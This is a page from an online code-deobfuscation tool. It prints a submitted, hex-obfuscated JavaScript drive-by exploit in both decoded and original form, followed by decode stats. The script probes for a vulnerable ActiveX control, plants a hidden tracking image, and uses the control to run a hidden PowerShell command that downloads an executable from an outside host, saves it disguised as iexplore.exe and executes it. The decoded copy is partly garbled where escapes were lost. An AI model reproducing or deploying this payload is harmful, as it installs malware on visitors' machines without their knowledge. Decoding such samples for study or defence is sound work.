Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function check(progid){ var installed; try{ var axObj= new ActiveXObjec..

Decoded Output download

<?  function check(progid){ 
    var installed; 
    try{ 
        var axObj= new ActiveXObject(progid); 
        if(axObj){ 
            installed = true; 
        } else { 
            installed = false; 
        } 
    }catch(e){ 
        installed =false; 
    } 
    return installed; 
} 
if (check('RDVistaSupport.VistaSupport.1')){ 
    var logstr3 = '<img src="http://plsong.com/xe/addons/counter/admin/log.php" width="0" height="0">'; 
    document.write(logstr3); 
    var obj = new ActiveXObject('RDVistaSupport.VistaSupport.1'); 
    var _0xcc88=["nDestDir","getHours","getMinutes",":","cmd /c c:\windows\system32t.exe "," powershell -nop -nologo -wind hidden  (New-Object System.Net.WebClient).DownloadFile('http://buyluck.com/xe/addons/counter/conf/admin/style.php','c:\windows	emp\iexplore.exe');(New-Object -com Shell.Application).ShellExecute('c:\windows	emp\iexplore.exe');","rCreateProcess"];var phkResult;var ret=1;obj[_0xcc88[0]]= 0x63;var dd= new Date();var Hours=dd[_0xcc88[1]]();var Minutes=dd[_0xcc88[2]]();Minutes+= 2;var test=Hours+ _0xcc88[3]+ Minutes;var tt=_0xcc88[4]+ test+ _0xcc88[5];obj[_0xcc88[6]](tt,0) 
} ?>

Did this file decode correctly?

Original Code

function check(progid){
    var installed;
    try{
        var axObj= new ActiveXObject(progid);
        if(axObj){
            installed = true;
        } else {
            installed = false;
        }
    }catch(e){
        installed =false;
    }
    return installed;
}
if (check('RDVistaSupport.VistaSupport.1')){
    var logstr3 = '<img src="http://plsong.com/xe/addons/counter/admin/log.php" width="0" height="0">';
    document.write(logstr3);
    var obj = new ActiveXObject('RDVistaSupport.VistaSupport.1');
    var _0xcc88=["\x6E\x44\x65\x73\x74\x44\x69\x72","\x67\x65\x74\x48\x6F\x75\x72\x73","\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x3A","\x63\x6D\x64\x20\x2F\x63\x20\x63\x3A\x5C\x77\x69\x6E\x64\x6F\x77\x73\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x61\x74\x2E\x65\x78\x65\x20","\x20\x70\x6F\x77\x65\x72\x73\x68\x65\x6C\x6C\x20\x2D\x6E\x6F\x70\x20\x2D\x6E\x6F\x6C\x6F\x67\x6F\x20\x2D\x77\x69\x6E\x64\x20\x68\x69\x64\x64\x65\x6E\x20\x20\x28\x4E\x65\x77\x2D\x4F\x62\x6A\x65\x63\x74\x20\x53\x79\x73\x74\x65\x6D\x2E\x4E\x65\x74\x2E\x57\x65\x62\x43\x6C\x69\x65\x6E\x74\x29\x2E\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x46\x69\x6C\x65\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x62\x75\x79\x6C\x75\x63\x6B\x2E\x63\x6F\x6D\x2F\x78\x65\x2F\x61\x64\x64\x6F\x6E\x73\x2F\x63\x6F\x75\x6E\x74\x65\x72\x2F\x63\x6F\x6E\x66\x2F\x61\x64\x6D\x69\x6E\x2F\x73\x74\x79\x6C\x65\x2E\x70\x68\x70\x27\x2C\x27\x63\x3A\x5C\x77\x69\x6E\x64\x6F\x77\x73\x5C\x74\x65\x6D\x70\x5C\x69\x65\x78\x70\x6C\x6F\x72\x65\x2E\x65\x78\x65\x27\x29\x3B\x28\x4E\x65\x77\x2D\x4F\x62\x6A\x65\x63\x74\x20\x2D\x63\x6F\x6D\x20\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x29\x2E\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x28\x27\x63\x3A\x5C\x77\x69\x6E\x64\x6F\x77\x73\x5C\x74\x65\x6D\x70\x5C\x69\x65\x78\x70\x6C\x6F\x72\x65\x2E\x65\x78\x65\x27\x29\x3B","\x72\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73"];var phkResult;var ret=1;obj[_0xcc88[0]]= 0x63;var dd= new Date();var Hours=dd[_0xcc88[1]]();var Minutes=dd[_0xcc88[2]]();Minutes+= 2;var test=Hours+ _0xcc88[3]+ Minutes;var tt=_0xcc88[4]+ test+ _0xcc88[5];obj[_0xcc88[6]](tt,0)
}

Function Calls

None

Variables

None

Stats

MD5 e58f3f74fc30171c19bbb6ddc3bb11f8
Eval Count 0
Decode Time 345 ms